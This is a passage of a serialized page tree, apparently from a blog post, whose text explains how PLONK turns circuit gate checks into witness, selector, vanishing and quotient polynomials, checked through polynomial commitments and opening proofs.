0},[289,2178,335],[144022],{"type":27,"value":119316},{"type":22,"tag":264,"props":144024,"children":144026},{"className":144025},[396],[144027],{"type":27,"value":399},{"type":22,"tag":264,"props":144029,"children":144031},{"className":144030},[311],[144032],{"type":22,"tag":264,"props":144033,"children":144035},{"className":144034,"style":2721},[316],[144036],{"type":22,"tag":264,"props":144037,"children":144038},{},[],{"type":22,"tag":264,"props":144040,"children":144042},{"className":144041,"style":421},[420],[],{"type":22,"tag":264,"props":144044,"children":144046},{"className":144045},[426],[144047],{"type":27,"value":429},{"type":22,"tag":264,"props":144049,"children":144051},{"className":144050,"style":421},[420],[],{"type":22,"tag":264,"props":144053,"children":144055},{"className":144054},[278],[144056,144060],{"type":22,"tag":264,"props":144057,"children":144059},{"className":144058,"style":850},[283],[],{"type":22,"tag":264,"props":144061,"children":144063},{"className":144062},[289],[144064],{"type":27,"value":602},{"type":27,"value":144066}," makes it contribute an addition term, and so on. The selector values define the circuit's shape and are public, known to both prover and verifier, while the wire values are the prover's secret witness. This per-row check does not ensure that wires between gates are consistent (that the output of one gate equals the input of the next); PLONK uses a separate ",{"type":22,"tag":1699,"props":144068,"children":144069},{},[144070],{"type":27,"value":144071},"permutation argument",{"type":27,"value":144073}," for that, which we will not cover here.",{"type":22,"tag":181,"props":144075,"children":144077},{"id":144076},"from-many-checks-to-one",[144078],{"type":27,"value":144079},"From many checks to one",{"type":22,"tag":23,"props":144081,"children":144082},{},[144083,144085,144090,144091,144183,144184,144276,144277,144369,144371,144376,144377,144469,144470,144562,144564,144589,144591,144616,144618,144710,144712,144737,144739,144764],{"type":27,"value":144084},"Instead of checking each gate individually, PLONK reads the execution trace column by column and uses FFT interpolation to convert each array of values to a single polynomial. The wire values become ",{"type":22,"tag":1699,"props":144086,"children":144087},{},[144088],{"type":27,"value":144089},"witness polynomials",{"type":27,"value":7750},{"type":22,"tag":257,"props":144092,"children":144094},{"className":144093},[260,261],[144095],{"type":22,"tag":264,"props":144096,"children":144098},{"className":144097},[267],[144099],{"type":22,"tag":264,"props":144100,"children":144102},{"className":144101,"ariaHidden":273},[272],[144103],{"type":22,"tag":264,"props":144104,"children":144106},{"className":144105},[278],[144107,144111,144168,144173,144178],{"type":22,"tag":264,"props":144108,"children":144110},{"className":144109,"style":5409},[283],[],{"type":22,"tag":264,"props":144112,"children":144114},{"className":144113},[289],[144115,144120],{"type":22,"tag":264,"props":144116,"children":144118},{"className":144117,"style":96722},[289,2178],[144119],{"type":27,"value":34401},{"type":22,"tag":264,"props":144121,"children":144123},{"className":144122},[2147],[144124],{"type":22,"tag":264,"props":144125,"children":144127},{"className":144126},[305,306],[144128,144157],{"type":22,"tag":264,"props":144129,"children":144131},{"className":144130},[311],[144132,144152],{"type":22,"tag":264,"props":144133,"children":144135},{"className":144134,"style":143900},[316],[144136],{"type":22,"tag":264,"props":144137,"children":144138},{"style":96743},[144139,144143],{"type":22,"tag":264,"props":144140,"children":144142},{"className":144141,"style":2169},[326],[],{"type":22,"tag":264,"props":144144,"children":144146},{"className":144145},[332,333,334,335],[144147],{"type":22,"tag":264,"props":144148,"children":144150},{"className":144149},[289,2178,335],[144151],{"type":27,"value":119316},{"type":22,"tag":264,"props":144153,"children":144155},{"className":144154},[396],[144156],{"type":27,"value":399},{"type":22,"tag":264,"props":144158,"children":144160},{"className":144159},[311],[144161],{"type":22,"tag":264,"props":144162,"children":144164},{"className":144163,"style":2721},[316],[144165],{"type":22,"tag":264,"props":144166,"children":144167},{},[],{"type":22,"tag":264,"props":144169,"children":144171},{"className":144170},[294],[144172],{"type":27,"value":2660},{"type":22,"tag":264,"props":144174,"children":144176},{"className":144175},[289,2178],[144177],{"type":27,"value":20581},{"type":22,"tag":264,"props":144179,"children":144181},{"className":144180},[415],[144182],{"type":27,"value":2806},{"type":27,"value":4380},{"type":22,"tag":257,"props":144185,"children":144187},{"className":144186},[260,261],[144188],{"type":22,"tag":264,"props":144189,"children":144191},{"className":144190},[267],[144192],{"type":22,"tag":264,"props":144193,"children":144195},{"className":144194,"ariaHidden":273},[272],[144196],{"type":22,"tag":264,"props":144197,"children":144199},{"className":144198},[278],[144200,144204,144261,144266,144271],{"type":22,"tag":264,"props":144201,"children":144203},{"className":144202,"style":5409},[283],[],{"type":22,"tag":264,"props":144205,"children":144207},{"className":144206},[289],[144208,144213],{"type":22,"tag":264,"props":144209,"children":144211},{"className":144210,"style":96722},[289,2178],[144212],{"type":27,"value":34401},{"type":22,"tag":264,"props":144214,"children":144216},{"className":144215},[2147],[144217],{"type":22,"tag":264,"props":144218,"children":144220},{"className":144219},[305,306],[144221,144250],{"type":22,"tag":264,"props":144222,"children":144224},{"className":144223},[311],[144225,144245],{"type":22,"tag":264,"props":144226,"children":144228},{"className":144227,"style":143900},[316],[144229],{"type":22,"tag":264,"props":144230,"children":144231},{"style":96743},[144232,144236],{"type":22,"tag":264,"props":144233,"children":144235},{"className":144234,"style":2169},[326],[],{"type":22,"tag":264,"props":144237,"children":144239},{"className":144238},[332,333,334,335],[144240],{"type":22,"tag":264,"props":144241,"children":144243},{"className":144242,"style":124129},[289,2178,335],[144244],{"type":27,"value":124132},{"type":22,"tag":264,"props":144246,"children":144248},{"className":144247},[396],[144249],{"type":27,"value":399},{"type":22,"tag":264,"props":144251,"children":144253},{"className":144252},[311],[144254],{"type":22,"tag":264,"props":144255,"children":144257},{"className":144256,"style":2721},[316],[144258],{"type":22,"tag":264,"props":144259,"children":144260},{},[],{"type":22,"tag":264,"props":144262,"children":144264},{"className":144263},[294],[144265],{"type":27,"value":2660},{"type":22,"tag":264,"props":144267,"children":144269},{"className":144268},[289,2178],[144270],{"type":27,"value":20581},{"type":22,"tag":264,"props":144272,"children":144274},{"className":144273},[415],[144275],{"type":27,"value":2806},{"type":27,"value":4380},{"type":22,"tag":257,"props":144278,"children":144280},{"className":144279},[260,261],[144281],{"type":22,"tag":264,"props":144282,"children":144284},{"className":144283},[267],[144285],{"type":22,"tag":264,"props":144286,"children":144288},{"className":144287,"ariaHidden":273},[272],[144289],{"type":22,"tag":264,"props":144290,"children":144292},{"className":144291},[278],[144293,144297,144354,144359,144364],{"type":22,"tag":264,"props":144294,"children":144296},{"className":144295,"style":5409},[283],[],{"type":22,"tag":264,"props":144298,"children":144300},{"className":144299},[289],[144301,144306],{"type":22,"tag":264,"props":144302,"children":144304},{"className":144303,"style":96722},[289,2178],[144305],{"type":27,"value":34401},{"type":22,"tag":264,"props":144307,"children":144309},{"className":144308},[2147],[144310],{"type":22,"tag":264,"props":144311,"children":144313},{"className":144312},[305,306],[144314,144343],{"type":22,"tag":264,"props":144315,"children":144317},{"className":144316},[311],[144318,144338],{"type":22,"tag":264,"props":144319,"children":144321},{"className":144320,"style":143900},[316],[144322],{"type":22,"tag":264,"props":144323,"children":144324},{"style":96743},[144325,144329],{"type":22,"tag":264,"props":144326,"children":144328},{"className":144327,"style":2169},[326],[],{"type":22,"tag":264,"props":144330,"children":144332},{"className":144331},[332,333,334,335],[144333],{"type":22,"tag":264,"props":144334,"children":144336},{"className":144335,"style":94370},[289,2178,335],[144337],{"type":27,"value":116672},{"type":22,"tag":264,"props":144339,"children":144341},{"className":144340},[396],[144342],{"type":27,"value":399},{"type":22,"tag":264,"props":144344,"children":144346},{"className":144345},[311],[144347],{"type":22,"tag":264,"props":144348,"children":144350},{"className":144349,"style":2721},[316],[144351],{"type":22,"tag":264,"props":144352,"children":144353},{},[],{"type":22,"tag":264,"props":144355,"children":144357},{"className":144356},[294],[144358],{"type":27,"value":2660},{"type":22,"tag":264,"props":144360,"children":144362},{"className":144361},[289,2178],[144363],{"type":27,"value":20581},{"type":22,"tag":264,"props":144365,"children":144367},{"className":144366},[415],[144368],{"type":27,"value":2806},{"type":27,"value":144370}," and the selectors become ",{"type":22,"tag":1699,"props":144372,"children":144373},{},[144374],{"type":27,"value":144375},"selector polynomials",{"type":27,"value":7750},{"type":22,"tag":257,"props":144378,"children":144380},{"className":144379},[260,261],[144381],{"type":22,"tag":264,"props":144382,"children":144384},{"className":144383},[267],[144385],{"type":22,"tag":264,"props":144386,"children":144388},{"className":144387,"ariaHidden":273},[272],[144389],{"type":22,"tag":264,"props":144390,"children":144392},{"className":144391},[278],[144393,144397,144454,144459,144464],{"type":22,"tag":264,"props":144394,"children":144396},{"className":144395,"style":5409},[283],[],{"type":22,"tag":264,"props":144398,"children":144400},{"className":144399},[289],[144401,144406],{"type":22,"tag":264,"props":144402,"children":144404},{"className":144403},[289,2178],[144405],{"type":27,"value":78128},{"type":22,"tag":264,"props":144407,"children":144409},{"className":144408},[2147],[144410],{"type":22,"tag":264,"props":144411,"children":144413},{"className":144412},[305,306],[144414,144443],{"type":22,"tag":264,"props":144415,"children":144417},{"className":144416},[311],[144418,144438],{"type":22,"tag":264,"props":144419,"children":144421},{"className":144420,"style":143900},[316],[144422],{"type":22,"tag":264,"props":144423,"children":144424},{"style":94426},[144425,144429],{"type":22,"tag":264,"props":144426,"children":144428},{"className":144427,"style":2169},[326],[],{"type":22,"tag":264,"props":144430,"children":144432},{"className":144431},[332,333,334,335],[144433],{"type":22,"tag":264,"props":144434,"children":144436},{"className":144435,"style":96376},[289,2178,335],[144437],{"type":27,"value":96379},{"type":22,"tag":264,"props":144439,"children":144441},{"className":144440},[396],[144442],{"type":27,"value":399},{"type":22,"tag":264,"props":144444,"children":144446},{"className":144445},[311],[144447],{"type":22,"tag":264,"props":144448,"children":144450},{"className":144449,"style":2721},[316],[144451],{"type":22,"tag":264,"props":144452,"children":144453},{},[],{"type":22,"tag":264,"props":144455,"children":144457},{"className":144456},[294],[144458],{"type":27,"value":2660},{"type":22,"tag":264,"props":144460,"children":144462},{"className":144461},[289,2178],[144463],{"type":27,"value":20581},{"type":22,"tag":264,"props":144465,"children":144467},{"className":144466},[415],[144468],{"type":27,"value":2806},{"type":27,"value":4380},{"type":22,"tag":257,"props":144471,"children":144473},{"className":144472},[260,261],[144474],{"type":22,"tag":264,"props":144475,"children":144477},{"className":144476},[267],[144478],{"type":22,"tag":264,"props":144479,"children":144481},{"className":144480,"ariaHidden":273},[272],[144482],{"type":22,"tag":264,"props":144483,"children":144485},{"className":144484},[278],[144486,144490,144547,144552,144557],{"type":22,"tag":264,"props":144487,"children":144489},{"className":144488,"style":5409},[283],[],{"type":22,"tag":264,"props":144491,"children":144493},{"className":144492},[289],[144494,144499],{"type":22,"tag":264,"props":144495,"children":144497},{"className":144496},[289,2178],[144498],{"type":27,"value":78128},{"type":22,"tag":264,"props":144500,"children":144502},{"className":144501},[2147],[144503],{"type":22,"tag":264,"props":144504,"children":144506},{"className":144505},[305,306],[144507,144536],{"type":22,"tag":264,"props":144508,"children":144510},{"className":144509},[311],[144511,144531],{"type":22,"tag":264,"props":144512,"children":144514},{"className":144513,"style":143900},[316],[144515],{"type":22,"tag":264,"props":144516,"children":144517},{"style":94426},[144518,144522],{"type":22,"tag":264,"props":144519,"children":144521},{"className":144520,"style":2169},[326],[],{"type":22,"tag":264,"props":144523,"children":144525},{"className":144524},[332,333,334,335],[144526],{"type":22,"tag":264,"props":144527,"children":144529},{"className":144528},[289,2178,335],[144530],{"type":27,"value":119316},{"type":22,"tag":264,"props":144532,"children":144534},{"className":144533},[396],[144535],{"type":27,"value":399},{"type":22,"tag":264,"props":144537,"children":144539},{"className":144538},[311],[144540],{"type":22,"tag":264,"props":144541,"children":144543},{"className":144542,"style":2721},[316],[144544],{"type":22,"tag":264,"props":144545,"children":144546},{},[],{"type":22,"tag":264,"props":144548,"children":144550},{"className":144549},[294],[144551],{"type":27,"value":2660},{"type":22,"tag":264,"props":144553,"children":144555},{"className":144554},[289,2178],[144556],{"type":27,"value":20581},{"type":22,"tag":264,"props":144558,"children":144560},{"className":144559},[415],[144561],{"type":27,"value":2806},{"type":27,"value":144563},", etc., all interpolated over a domain ",{"type":22,"tag":257,"props":144565,"children":144567},{"className":144566},[260,261],[144568],{"type":22,"tag":264,"props":144569,"children":144571},{"className":144570},[267],[144572],{"type":22,"tag":264,"props":144573,"children":144575},{"className":144574,"ariaHidden":273},[272],[144576],{"type":22,"tag":264,"props":144577,"children":144579},{"className":144578},[278],[144580,144584],{"type":22,"tag":264,"props":144581,"children":144583},{"className":144582,"style":441},[283],[],{"type":22,"tag":264,"props":144585,"children":144587},{"className":144586,"style":94603},[289,2178],[144588],{"type":27,"value":94606},{"type":27,"value":144590}," of ",{"type":22,"tag":257,"props":144592,"children":144594},{"className":144593},[260,261],[144595],{"type":22,"tag":264,"props":144596,"children":144598},{"className":144597},[267],[144599],{"type":22,"tag":264,"props":144600,"children":144602},{"className":144601,"ariaHidden":273},[272],[144603],{"type":22,"tag":264,"props":144604,"children":144606},{"className":144605},[278],[144607,144611],{"type":22,"tag":264,"props":144608,"children":144610},{"className":144609,"style":112208},[283],[],{"type":22,"tag":264,"props":144612,"children":144614},{"className":144613},[289,2178],[144615],{"type":27,"value":57724},{"type":27,"value":144617},"-th roots of unity. Evaluating ",{"type":22,"tag":257,"props":144619,"children":144621},{"className":144620},[260,261],[144622],{"type":22,"tag":264,"props":144623,"children":144625},{"className":144624},[267],[144626],{"type":22,"tag":264,"props":144627,"children":144629},{"className":144628,"ariaHidden":273},[272],[144630],{"type":22,"tag":264,"props":144631,"children":144633},{"className":144632},[278],[144634,144638,144695,144700,144705],{"type":22,"tag":264,"props":144635,"children":144637},{"className":144636,"style":5409},[283],[],{"type":22,"tag":264,"props":144639,"children":144641},{"className":144640},[289],[144642,144647],{"type":22,"tag":264,"props":144643,"children":144645},{"className":144644,"style":96722},[289,2178],[144646],{"type":27,"value":34401},{"type":22,"tag":264,"props":144648,"children":144650},{"className":144649},[2147],[144651],{"type":22,"tag":264,"props":144652,"children":144654},{"className":144653},[305,306],[144655,144684],{"type":22,"tag":264,"props":144656,"children":144658},{"className":144657},[311],[144659,144679],{"type":22,"tag":264,"props":144660,"children":144662},{"className":144661,"style":143900},[316],[144663],{"type":22,"tag":264,"props":144664,"children":144665},{"style":96743},[144666,144670],{"type":22,"tag":264,"props":144667,"children":144669},{"className":144668,"style":2169},[326],[],{"type":22,"tag":264,"props":144671,"children":144673},{"className":144672},[332,333,334,335],[144674],{"type":22,"tag":264,"props":144675,"children":144677},{"className":144676},[289,2178,335],[144678],{"type":27,"value":119316},{"type":22,"tag":264,"props":144680,"children":144682},{"className":144681},[396],[144683],{"type":27,"value":399},{"type":22,"tag":264,"props":144685,"children":144687},{"className":144686},[311],[144688],{"type":22,"tag":264,"props":144689,"children":144691},{"className":144690,"style":2721},[316],[144692],{"type":22,"tag":264,"props":144693,"children":144694},{},[],{"type":22,"tag":264,"props":144696,"children":144698},{"className":144697},[294],[144699],{"type":27,"value":2660},{"type":22,"tag":264,"props":144701,"children":144703},{"className":144702},[289,2178],[144704],{"type":27,"value":20581},{"type":22,"tag":264,"props":144706,"children":144708},{"className":144707},[415],[144709],{"type":27,"value":2806},{"type":27,"value":144711}," at the ",{"type":22,"tag":257,"props":144713,"children":144715},{"className":144714},[260,261],[144716],{"type":22,"tag":264,"props":144717,"children":144719},{"className":144718},[267],[144720],{"type":22,"tag":264,"props":144721,"children":144723},{"className":144722,"ariaHidden":273},[272],[144724],{"type":22,"tag":264,"props":144725,"children":144727},{"className":144726},[278],[144728,144732],{"type":22,"tag":264,"props":144729,"children":144731},{"className":144730,"style":143596},[283],[],{"type":22,"tag":264,"props":144733,"children":144735},{"className":144734},[289,2178],[144736],{"type":27,"value":5050},{"type":27,"value":144738},"-th root recovers the left wire value at row ",{"type":22,"tag":257,"props":144740,"children":144742},{"className":144741},[260,261],[144743],{"type":22,"tag":264,"props":144744,"children":144746},{"className":144745},[267],[144747],{"type":22,"tag":264,"props":144748,"children":144750},{"className":144749,"ariaHidden":273},[272],[144751],{"type":22,"tag":264,"props":144752,"children":144754},{"className":144753},[278],[144755,144759],{"type":22,"tag":264,"props":144756,"children":144758},{"className":144757,"style":143596},[283],[],{"type":22,"tag":264,"props":144760,"children":144762},{"className":144761},[289,2178],[144763],{"type":27,"value":5050},{"type":27,"value":210},{"type":22,"tag":144766,"props":144767,"children":144768},"polynomial-interpolation-panel",{},[],{"type":22,"tag":23,"props":144770,"children":144771},{},[144772,144774,144814,144816,144882,144884,145014,145016,145056,145058,145098,145100,145140,145141,145263],{"type":27,"value":144773},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":22,"tag":257,"props":144775,"children":144777},{"className":144776},[260,261],[144778],{"type":22,"tag":264,"props":144779,"children":144781},{"className":144780},[267],[144782],{"type":22,"tag":264,"props":144783,"children":144785},{"className":144784,"ariaHidden":273},[272],[144786],{"type":22,"tag":264,"props":144787,"children":144789},{"className":144788},[278],[144790,144794,144799,144804,144809],{"type":22,"tag":264,"props":144791,"children":144793},{"className":144792,"style":5409},[283],[],{"type":22,"tag":264,"props":144795,"children":144797},{"className":144796,"style":22894},[289,2178],[144798],{"type":27,"value":123130},{"type":22,"tag":264,"props":144800,"children":144802},{"className":144801},[294],[144803],{"type":27,"value":2660},{"type":22,"tag":264,"props":144805,"children":144807},{"className":144806},[289,2178],[144808],{"type":27,"value":20581},{"type":22,"tag":264,"props":144810,"children":144812},{"className":144811},[415],[144813],{"type":27,"value":2806},{"type":27,"value":144815}," that combines selectors and witnesses. If the prover was honest, ",{"type":22,"tag":257,"props":144817,"children":144819},{"className":144818},[260,261],[144820],{"type":22,"tag":264,"props":144821,"children":144823},{"className":144822},[267],[144824],{"type":22,"tag":264,"props":144825,"children":144827},{"className":144826,"ariaHidden":273},[272],[144828,144869],{"type":22,"tag":264,"props":144829,"children":144831},{"className":144830},[278],[144832,144836,144841,144846,144851,144856,144860,144865],{"type":22,"tag":264,"props":144833,"children":144835},{"className":144834,"style":5409},[283],[],{"type":22,"tag":264,"props":144837,"children":144839},{"className":144838,"style":22894},[289,2178],[144840],{"type":27,"value":123130},{"type":22,"tag":264,"props":144842,"children":144844},{"className":144843},[294],[144845],{"type":27,"value":2660},{"type":22,"tag":264,"props":144847,"children":144849},{"className":144848},[289,2178],[144850],{"type":27,"value":20581},{"type":22,"tag":264,"props":144852,"children":144854},{"className":144853},[415],[144855],{"type":27,"value":2806},{"type":22,"tag":264,"props":144857,"children":144859},{"className":144858,"style":421},[420],[],{"type":22,"tag":264,"props":144861,"children":144863},{"className":144862},[426],[144864],{"type":27,"value":429},{"type":22,"tag":264,"props":144866,"children":144868},{"className":144867,"style":421},[420],[],{"type":22,"tag":264,"props":144870,"children":144872},{"className":144871},[278],[144873,144877],{"type":22,"tag":264,"props":144874,"children":144876},{"className":144875,"style":850},[283],[],{"type":22,"tag":264,"props":144878,"children":144880},{"className":144879},[289],[144881],{"type":27,"value":5334},{"type":27,"value":144883}," at every row index in the domain. The vanishing polynomial ",{"type":22,"tag":257,"props":144885,"children":144887},{"className":144886},[260,261],[144888],{"type":22,"tag":264,"props":144889,"children":144891},{"className":144890},[267],[144892],{"type":22,"tag":264,"props":144893,"children":144895},{"className":144894,"ariaHidden":273},[272],[144896,144938,145001],{"type":22,"tag":264,"props":144897,"children":144899},{"className":144898},[278],[144900,144904,144910,144915,144920,144925,144929,144934],{"type":22,"tag":264,"props":144901,"children":144903},{"className":144902,"style":5409},[283],[],{"type":22,"tag":264,"props":144905,"children":144907},{"className":144906,"style":23420},[289,2178],[144908],{"type":27,"value":144909},"Z",{"type":22,"tag":264,"props":144911,"children":144913},{"className":144912},[294],[144914],{"type":27,"value":2660},{"type":22,"tag":264,"props":144916,"children":144918},{"className":144917},[289,2178],[144919],{"type":27,"value":20581},{"type":22,"tag":264,"props":144921,"children":144923},{"className":144922},[415],[144924],{"type":27,"value":2806},{"type":22,"tag":264,"props":144926,"children":144928},{"className":144927,"style":421},[420],[],{"type":22,"tag":264,"props":144930,"children":144932},{"className":144931},[426],[144933],{"type":27,"value":429},{"type":22,"tag":264,"props":144935,"children":144937},{"className":144936,"style":421},[420],[],{"type":22,"tag":264,"props":144939,"children":144941},{"className":144940},[278],[144942,144947,144988,144992,144997],{"type":22,"tag":264,"props":144943,"children":144946},{"className":144944,"style":144945},[283],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":22,"tag":264,"props":144948,"children":144950},{"className":144949},[289],[144951,144956],{"type":22,"tag":264,"props":144952,"children":144954},{"className":144953},[289,2178],[144955],{"type":27,"value":20581},{"type":22,"tag":264,"props":144957,"children":144959},{"className":144958},[2147],[144960],{"type":22,"tag":264,"props":144961,"children":144963},{"className":144962},[305],[144964],{"type":22,"tag":264,"props":144965,"children":144967},{"className":144966},[311],[144968],{"type":22,"tag":264,"props":144969,"children":144971},{"className":144970,"style":110085},[316],[144972],{"type":22,"tag":264,"props":144973,"children":144974},{"style":5353},[144975,144979],{"type":22,"tag":264,"props":144976,"children":144978},{"className":144977,"style":2169},[326],[],{"type":22,"tag":264,"props":144980,"children":144982},{"className":144981},[332,333,334,335],[144983],{"type":22,"tag":264,"props":144984,"children":144986},{"className":144985},[289,2178,335],[144987],{"type":27,"value":57724},{"type":22,"tag":264,"props":144989,"children":144991},{"className":144990,"style":665},[420],[],{"type":22,"tag":264,"props":144993,"children":144995},{"className":144994},[670],[144996],{"type":27,"value":5372},{"type":22,"tag":264,"props":144998,"children":145000},{"className":144999,"style":665},[420],[],{"type":22,"tag":264,"props":145002,"children":145004},{"className":145003},[278],[145005,145009],{"type":22,"tag":264,"props":145006,"children":145008},{"className":145007,"style":850},[283],[],{"type":22,"tag":264,"props":145010,"children":145012},{"className":145011},[289],[145013],{"type":27,"value":602},{"type":27,"value":145015}," is zero on exactly those points, so if all constraints hold then ",{"type":22,"tag":257,"props":145017,"children":145019},{"className":145018},[260,261],[145020],{"type":22,"tag":264,"props":145021,"children":145023},{"className":145022},[267],[145024],{"type":22,"tag":264,"props":145025,"children":145027},{"className":145026,"ariaHidden":273},[272],[145028],{"type":22,"tag":264,"props":145029,"children":145031},{"className":145030},[278],[145032,145036,145041,145046,145051],{"type":22,"tag":264,"props":145033,"children":145035},{"className":145034,"style":5409},[283],[],{"type":22,"tag":264,"props":145037,"children":145039},{"className":145038,"style":23420},[289,2178],[145040],{"type":27,"value":144909},{"type":22,"tag":264,"props":145042,"children":145044},{"className":145043},[294],[145045],{"type":27,"value":2660},{"type":22,"tag":264,"props":145047,"children":145049},{"className":145048},[289,2178],[145050],{"type":27,"value":20581},{"type":22,"tag":264,"props":145052,"children":145054},{"className":145053},[415],[145055],{"type":27,"value":2806},{"type":27,"value":145057}," divides ",{"type":22,"tag":257,"props":145059,"children":145061},{"className":145060},[260,261],[145062],{"type":22,"tag":264,"props":145063,"children":145065},{"className":145064},[267],[145066],{"type":22,"tag":264,"props":145067,"children":145069},{"className":145068,"ariaHidden":273},[272],[145070],{"type":22,"tag":264,"props":145071,"children":145073},{"className":145072},[278],[145074,145078,145083,145088,145093],{"type":22,"tag":264,"props":145075,"children":145077},{"className":145076,"style":5409},[283],[],{"type":22,"tag":264,"props":145079,"children":145081},{"className":145080,"style":22894},[289,2178],[145082],{"type":27,"value":123130},{"type":22,"tag":264,"props":145084,"children":145086},{"className":145085},[294],[145087],{"type":27,"value":2660},{"type":22,"tag":264,"props":145089,"children":145091},{"className":145090},[289,2178],[145092],{"type":27,"value":20581},{"type":22,"tag":264,"props":145094,"children":145096},{"className":145095},[415],[145097],{"type":27,"value":2806},{"type":27,"value":145099},", yielding a quotient polynomial ",{"type":22,"tag":257,"props":145101,"children":145103},{"className":145102},[260,261],[145104],{"type":22,"tag":264,"props":145105,"children":145107},{"className":145106},[267],[145108],{"type":22,"tag":264,"props":145109,"children":145111},{"className":145110,"ariaHidden":273},[272],[145112],{"type":22,"tag":264,"props":145113,"children":145115},{"className":145114},[278],[145116,145120,145125,145130,145135],{"type":22,"tag":264,"props":145117,"children":145119},{"className":145118,"style":5409},[283],[],{"type":22,"tag":264,"props":145121,"children":145123},{"className":145122,"style":22894},[289,2178],[145124],{"type":27,"value":7279},{"type":22,"tag":264,"props":145126,"children":145128},{"className":145127},[294],[145129],{"type":27,"value":2660},{"type":22,"tag":264,"props":145131,"children":145133},{"className":145132},[289,2178],[145134],{"type":27,"value":20581},{"type":22,"tag":264,"props":145136,"children":145138},{"className":145137},[415],[145139],{"type":27,"value":2806},{"type":27,"value":22811},{"type":22,"tag":257,"props":145142,"children":145144},{"className":145143},[260,261],[145145],{"type":22,"tag":264,"props":145146,"children":145148},{"className":145147},[267],[145149],{"type":22,"tag":264,"props":145150,"children":145152},{"className":145151,"ariaHidden":273},[272],[145153,145194,145235],{"type":22,"tag":264,"props":145154,"children":145156},{"className":145155},[278],[145157,145161,145166,145171,145176,145181,145185,145190],{"type":22,"tag":264,"props":145158,"children":145160},{"className":145159,"style":5409},[283],[],{"type":22,"tag":264,"props":145162,"children":145164},{"className":145163,"style":22894},[289,2178],[145165],{"type":27,"value":123130},{"type":22,"tag":264,"props":145167,"children":145169},{"className":145168},[294],[145170],{"type":27,"value":2660},{"type":22,"tag":264,"props":145172,"children":145174},{"className":145173},[289,2178],[145175],{"type":27,"value":20581},{"type":22,"tag":264,"props":145177,"children":145179},{"className":145178},[415],[145180],{"type":27,"value":2806},{"type":22,"tag":264,"props":145182,"children":145184},{"className":145183,"style":421},[420],[],{"type":22,"tag":264,"props":145186,"children":145188},{"className":145187},[426],[145189],{"type":27,"value":429},{"type":22,"tag":264,"props":145191,"children":145193},{"className":145192,"style":421},[420],[],{"type":22,"tag":264,"props":145195,"children":145197},{"className":145196},[278],[145198,145202,145207,145212,145217,145222,145226,145231],{"type":22,"tag":264,"props":145199,"children":145201},{"className":145200,"style":5409},[283],[],{"type":22,"tag":264,"props":145203,"children":145205},{"className":145204,"style":22894},[289,2178],[145206],{"type":27,"value":7279},{"type":22,"tag":264,"props":145208,"children":145210},{"className":145209},[294],[145211],{"type":27,"value":2660},{"type":22,"tag":264,"props":145213,"children":145215},{"className":145214},[289,2178],[145216],{"type":27,"value":20581},{"type":22,"tag":264,"props":145218,"children":145220},{"className":145219},[415],[145221],{"type":27,"value":2806},{"type":22,"tag":264,"props":145223,"children":145225},{"className":145224,"style":665},[420],[],{"type":22,"tag":264,"props":145227,"children":145229},{"className":145228},[670],[145230],{"type":27,"value":112629},{"type":22,"tag":264,"props":145232,"children":145234},{"className":145233,"style":665},[420],[],{"type":22,"tag":264,"props":145236,"children":145238},{"className":145237},[278],[145239,145243,145248,145253,145258],{"type":22,"tag":264,"props":145240,"children":145242},{"className":145241,"style":5409},[283],[],{"type":22,"tag":264,"props":145244,"children":145246},{"className":145245,"style":23420},[289,2178],[145247],{"type":27,"value":144909},{"type":22,"tag":264,"props":145249,"children":145251},{"className":145250},[294],[145252],{"type":27,"value":2660},{"type":22,"tag":264,"props":145254,"children":145256},{"className":145255},[289,2178],[145257],{"type":27,"value":20581},{"type":22,"tag":264,"props":145259,"children":145261},{"className":145260},[415],[145262],{"type":27,"value":2806},{"type":27,"value":210},{"type":22,"tag":23,"props":145265,"children":145266},{},[145267],{"type":22,"tag":215,"props":145268,"children":145271},{"alt":145269,"src":145270},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":22,"tag":181,"props":145273,"children":145275},{"id":145274},"polynomial-commitments-and-opening-proofs",[145276],{"type":27,"value":145277},"Polynomial commitments and opening proofs",{"type":22,"tag":23,"props":145279,"children":145280},{},[145281,145283,145288,145290,145295],{"type":27,"value":145282},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":22,"tag":1699,"props":145284,"children":145285},{},[145286],{"type":27,"value":145287},"commitments",{"type":27,"value":145289},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":22,"tag":1699,"props":145291,"children":145292},{},[145293],{"type":27,"value":145294},"opening proof",{"type":27,"value":145296}," that the claimed value is consistent with the earlier commitment.",{"type":22,"tag":23,"props":145298,"children":145299},{},[145300],{"type":27,"value":145301},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":22,"tag":181,"props":145303,"children":145305},{"id":145304},"reducing-to-a-single-random-point",[145306],{"type":27,"value":145307},"Reducing to a single random point",{"type":22,"tag":23,"props":145309,"children":145310},{},[145311,145313,145353,145355,145380,145382,145504,145506,145531],{"type":27,"value":145312},"After the prover commits to all polynomials, including ",{"type":22,"tag":257,"props":145314,"children":145316},{"className":145315},[260,261],[145317],{"type":22,"tag":264,"props":145318,"children":145320},{"className":145319},[267],[145321],{"type":22,"tag":264,"props":145322,"children":145324},{"className":145323,"ariaHidden":273},[272],[145325],{"type":22,"tag":264,"props":145326,"children":145328},{"className":145327},[278],[145329,145333,145338,145343,145348],{"type":22,"tag":264,"props":145330,"children":145332},{"className":145331,"style":5409},[283],[],{"type":22,"tag":264,"props":145334,"children":145336},{"className":145335,"style":22894},[289,2178],[145337],{"type":27,"value":7279},{"type":22,"tag":264,"props":145339,"children":145341},{"className":145340},[294],[145342],{"type":27,"value":2660},{"type":22,"tag":264,"props":145344,"children":145346},{"className":145345},[289,2178],[145347],{"type":27,"value":20581},{"type":22,"tag":264,"props":145349,"children":145351},{"className":145350},[415],[145352],{"type":27,"value":2806},{"type":27,"value":145354},", the verifier picks a random challenge point 